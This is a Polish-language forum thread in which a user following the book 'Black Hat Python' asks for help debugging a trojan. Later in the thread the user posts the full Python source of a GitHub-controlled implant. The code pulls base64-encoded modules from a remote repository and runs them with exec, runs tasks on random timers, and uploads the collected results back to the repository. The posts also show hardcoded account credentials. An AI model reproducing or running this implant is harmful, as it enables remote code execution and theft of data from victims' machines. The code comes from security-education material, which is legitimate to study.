Python

Tematy dotyczące typowo interpretowanych języków programowania.
Awatar użytkownika
sliwaczenko
Posty: 22
Rejestracja: 07 lut 2017, 19:18

Python

Post autor: sliwaczenko » 04 kwie 2017, 20:33

Witam, korzystam z książki Black Hat Python i mam problem z trojanem. Wyskakuje mi taki blad w consoli File "git_trojan.py", line 21
gh = login(username="jakubekwolodyjowski",password="dupa12345"). Jeśli posługuje się Pythonem to proszę o pomoc Oto moj github https://github.com/jakubekwolodyjowski/chapter7
W 1/2 Technik-Mechanik Pojazdow Samocodowych

Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re: Python

Post autor: Kenjin » 07 kwie 2017, 22:19

Wrzuć kod na forum w ten sposób:

Kod: Zaznacz cały

print ('to jest przykladowy kod')
to chętnie odpowiem :)

Awatar użytkownika
F3nix
Posty: 328
Rejestracja: 28 kwie 2015, 20:51

Re: Python

Post autor: F3nix » 08 kwie 2017, 17:08

Napisz jak naprawiłeś ten błąd :-)

Awatar użytkownika
sliwaczenko
Posty: 22
Rejestracja: 07 lut 2017, 19:18

Re: Python

Post autor: sliwaczenko » 08 kwie 2017, 23:17

Kod: Zaznacz cały

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

trojan_id = "abc"
trojan_config = "%s.json" % trojan_id
data_path     = "data/%s/" % trojan_id
trojan_modules= []

task_queue    = Queue.Queue()
configured    = False

class GitImporter(object):

    def __init__(self):

        self.current_module_code = ""


    def find_module(self,fullname,path=None):

        if configured:
            print "[*] Attempting to retrieve %s" % fullname
            new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                return self

        return None

    def load_module(self,name):

        module = imp.new_module(name)
        exec self.current_module_code in module.__dict__
        sys.modules[name] = module

        return module



def connect_to_github():
    gh = login(username="3rdDegree",password="BsidesTOrocks!")
    repo = gh.repository("3rdDegree","trojan_demo")
    branch = repo.branch("master")

    return gh,repo,branch

def get_file_contents(filepath):

    gh,repo,branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:

        if filepath in filename.path:
            print "[*] Found file %s" % filepath

            blob = repo.blob(filename._json_data['sha'])

            return blob.content

    return None

def get_trojan_config():
    global configured
    config_json   = get_file_contents(trojan_config)
    config        = json.loads(base64.b64decode(config_json))
    configured    = True

    for task in config:

        if task['module'] not in sys.modules:

            exec("import %s" % task['module'])

    return config

def store_module_result(data):

    gh,repo,branch = connect_to_github()

    remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))

    repo.create_file(remote_path,"Commit message",base64.b64encode(data))

    return

def module_runner(module):

    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()

    # store the result in our repo
    store_module_result(result)

    return


# main trojan loop
sys.meta_path = [GitImporter()]

while True:

    if task_queue.empty():

        config = get_trojan_config()

        for task in config:
            t = threading.Thread(target=module_runner,args=(task['module'],))
            t.start()
            time.sleep(random.randint(1,10))

    time.sleep(random.randint(1000,10000))
Taki kod znajduje się w książce http://helion.pl/ksiazki/black-hat-pyth ... blahap.htm.
Jest to czywiście z angielskiej wersji. Być może w tłumaczonej wersji jest bład specjalny albo nie ma go.
Ja skorzystałem z tego bo myslałem że sam rozgryze gdzie jest błąd. Być może zapomniałem dopisać w konsoli zdalnego repozytorium

Kod: Zaznacz cały

git remote add
- do dodania zdalnego repozytorium jako skrót,
albo zapisania na serwer przez

Kod: Zaznacz cały

git push origin master
. Jeśli się mylę, to mylę
W 1/2 Technik-Mechanik Pojazdow Samocodowych

ODPOWIEDZ

Kto jest online

Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 1 gość